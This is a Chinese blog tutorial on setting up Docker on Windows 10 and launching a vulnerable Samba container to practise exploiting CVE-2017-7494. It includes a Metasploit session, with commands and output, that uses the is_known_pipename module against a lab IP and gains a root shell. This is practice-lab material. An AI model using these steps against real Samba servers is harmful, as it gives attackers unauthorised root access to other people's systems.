1. 前言
最近练习也在搭建这个漏洞环境,但是很费时间,然后就想到用Docker搭建比较快,又方便。不多废话,直接开始吧!
2. 下载Docker
我本次是利用Windows 10 来安装Docker,因为Windows出现了一个问题需要解决下,Linux和Mac安装官网的安装方法基本没什么问题。
官方下载地址:https://docs.docker.com/docker-for-windows/install/
安装/升级你的Docker客户端
对于Windows 10以下的用户 推荐使用 Docker Toolbox Toolbox的介绍和帮助:mirrors.aliyun.com/help/docker-toolbox
Windows系统的安装文件目录:http://mirrors.aliyun.com/docker-toolbox/windows/docker-toolbox/
对于Windows 10以上的用户 推荐使用 Docker for Windows Windows系统的安装文件目录:http://mirrors.aliyun.com/docker-toolbox/windows/docker-for-windows/
3. 安装Docker
-
运行安装文件:
-
安装完成:
-
安装完之后会出现一个问题,就是要你开win10里面的
Hyper-V
,这个功能和VMware
是冲突的,所以你开了Hyper-V
就不能用VMware
了
- 开启
Hyper-V
然后重启就可以使用了。
4. 使用国内的Docker加速器
注册一个阿里云的账号:https://cr.console.aliyun.com/#/accelerator
然后获取专属加速器地址:
在系统右下角托盘图标内右键菜单选择 Settings,打开配置窗口后左侧导航菜单选择 Docker Daemon。编辑窗口内的JSON串,填写加速器地址,如下所示:
{
"registry-mirrors": ["https://0sdzi917.mirror.aliyuncs.com"]
}
5. 用Docker生成漏洞环境并使用
- 这里我用
Samba远程代码执行漏洞(CVE-2017-7494)
来做测试。
2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。
获取环境
-
拉取镜像到本地
docker pull medicean/vulapps:s_samba_1
-
启动环境
docker run -d -p 445:445 -p 139:139 -p 138:138 -p 137:137 medicean/vulapps:s_samba_1
-p 445:445 前面的 445 代表物理机的端口
利用步骤
我这里用虚拟机中Ubuntu
来做实验,因为虚拟机的WIN10冲突了,命令都差不多的。
我的靶机IP是:10.150.37.143
,也就是Docker的那台机子
msf > use exploit/linux/samba/is_known_pipename
msf exploit(linux/samba/is_known_pipename) > set RHOST 10.150.37.143
RHOST => 10.150.37.143
msf exploit(linux/samba/is_known_pipename) > show options
Module options (exploit/linux/samba/is_known_pipename):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 10.150.37.143 yes The target address
RPORT 445 yes The SMB service port (TCP)
SMB_FOLDER no The directory to use within the writeable SMB share
SMB_SHARE_NAME no The name of the SMB share containing a writeable directory
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic (Interact)
msf exploit(linux/samba/is_known_pipename) > exploit
[*] 10.150.37.143:445 - Using location \\10.150.37.143\share\ for the path
[*] 10.150.37.143:445 - Retrieving the remote path of the share 'share'
[*] 10.150.37.143:445 - Share 'share' has server-side path '/tmp/
[*] 10.150.37.143:445 - Uploaded payload to \\10.150.37.143\share\WxwPDkIX.so
[*] 10.150.37.143:445 - Loading the payload from server-side path /tmp/WxwPDkIX.so using \\PIPE\/tmp/WxwPDkIX.so...
[-] 10.150.37.143:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 10.150.37.143:445 - Loading the payload from server-side path /tmp/WxwPDkIX.so using /tmp/WxwPDkIX.so...
[+] 10.150.37.143:445 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session 3 opened (10.150.37.128:41939 -> 10.150.37.143:445) at 2018-03-14 05:30:35 -0400
id
uid=0(root) gid=0(root) groups=0(root)
6. 结束
这玩其实还挺方便的,如果有时间的话可以去尝试自己动手配置环境,因为那样会遇到很多问题,自己又能学到更多的解决问题的方法了。
7. 参考
http://vulapps.evalbug.com/ 漏洞环境下载库
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/use-docker-to-build-a-variety-of-loopholes-my-mother-no-longer-has-to-worry-about-not-having-practiced-in-the-shooting-range.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。